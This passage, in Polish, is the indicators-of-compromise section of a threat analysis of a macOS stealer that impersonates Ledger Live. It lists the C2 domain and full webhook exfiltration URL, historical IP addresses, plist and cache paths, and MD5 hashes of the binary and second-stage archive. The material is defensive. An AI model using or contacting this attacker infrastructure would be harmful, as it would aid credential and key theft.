Ta sekcja przedstawia Indicators of Compromise (IoCs) zaobserwowane podczas niniejszej analizy.

Wskaźniki Sieciowe

Jedynym wskaźnikiem sieciowym powiązanym z tym malware jest domena brsp.secureapimiddleware.com, do której następuje eksfiltracja kluczy.

Typ Wartość Opis
Domena brsp.secureapimiddleware.com Serwer C2
Wzorzec domeny *.secureapimiddleware.com Powiązana infrastruktura
Pełny URL https://brsp.secureapimiddleware.com/webhook/68fd880c45892ad52f42ab4f Pełna ścieżka eksfiltracji
Wzorzec ścieżki /webhook/[a-f0-9]{24} Webhook z 24-znakowym identyfikatorem

Podczas przeglądu historii DNS można zauważyć, że domena nie jest już aktywna, lecz historycznie była powiązana z następującymi adresami IP:

Data Rekord A
2025-10-07 23.177.184.251
2025-10-10 89.213.44.234
2025-10-24 144.31.193.241
2025-10-30 45.8.229.245

System Plików

Poniższa tabela przedstawia podsumowanie wszystkich wskaźników na systemie plików związanych z wykonaniem i obecnością stealera Ledger Live.app.

Wskaźnik Typ Lokalizacja
com.wails.akjshd-lkjanfg.plist Plik preferencji ~/Library/Preferences/
com.wails.akjshd-lkjanfg Katalog ~/Library/WebKit/
com.wails.akjshd-lkjanfg Katalog ~/Library/Caches/
com.wails.akjshd-lkjanfg.savedState Katalog ~/Library/Saved Application State/

Poniższa tabela zawiera listę złośliwych plików przeanalizowanych w ramach tej kampanii.

Uwzględnia ona binarium akjshd-lkjanfg znajdujące się wewnątrz Ledger Live.app, a także GLM.zip, czyli archiwum second stage pobierane przez AppleScript pierwszego etapu opisanego we wpisie Kampania typu stealer wymierzona w macOS, wraz z odpowiadającymi im wartościami skrótów kryptograficznych.

Złośliwy plik Hash MD5
akjshd-lkjanfg 23ecfb890d6ac91e029097703a2f62bc
GLM.zip f64d1ec3f0f99faa6d119bee34987648

Sources

Poniższe artykuły opisują podobne ataki wykorzystujące złośliwą aplikację podszywającą się pod Ledger Live w celu eksfiltracji danych z zainfekowanych systemów.